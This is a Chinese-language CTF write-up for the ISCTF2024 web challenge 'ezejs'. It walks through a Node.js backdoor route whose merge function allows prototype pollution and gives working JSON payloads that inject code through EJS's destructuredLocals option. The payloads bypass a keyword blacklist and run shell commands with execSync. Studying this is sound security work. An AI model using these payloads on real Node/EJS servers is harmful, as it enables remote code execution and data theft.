nodejs_ejs模板_原型链污染 | ISCTF2024 | Web ezejs
2024年12月10日约 482 字大约 2 分钟
打开代码附件,映入眼帘的就是标记好的backdoor
// backdoor
app.post("/UserList", (req, res) => {
user = req.body;
const blacklist = ["\\u", "outputFunctionName", "localsName", "escape"];
const hacker = JSON.stringify(user);
for (const pattern of blacklist) {
if (hacker.includes(pattern)) {
res.status(200).json({ message: "hacker!" });
return;
}
}
copy(users, user);
res.status(200).json(user);
});
黑名单检查后会执行copy
函数,我们再看一下copy
函数。
function copy(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
copy
会将所有传入的内容全部传给users
这个对象。
const blacklist = ["\\u", "outputFunctionName", "localsName", "escape"];
由于blacklist
禁用掉了很多函数(甚至也禁用掉了 Unicode 标准符号),我们需要另寻他法执行 RCE.同时,感谢黑名单提醒我该如何完成这道题(没有黑名单我根本不知道 RCE 这个思路)
我们尝试在render
处打断点,当GET localhost/
后一步一步查看。
我们可以尝试使用outputFunctionName
并列的destructuredLocals
实现远程执行命令。opts.destructuredLocals[i]
使用的是数组,所以我们要使用数组的方式传入。根据代码结构,我们准备如下示例字符串。
a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2
完整的数据就是:
{
"__proto__": {
"destructuredLocals": [
"a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"
]
}
}
我们将上述字符串发给/UserList
,然后请求/
,可以顺利打开计算器。
现在,我们只要据此修改 Payload,使用替换命令将/flag
复制替换掉模板的index.ejs
即可。
a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2
{
"__proto__": {
"destructuredLocals": [
"a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2"
]
}
}
将以上 JSON 发给/UserList
,然后请求两次/
(一遍是为了让命令运行生效,一遍是为了获取 flag),可以顺利获得 flag.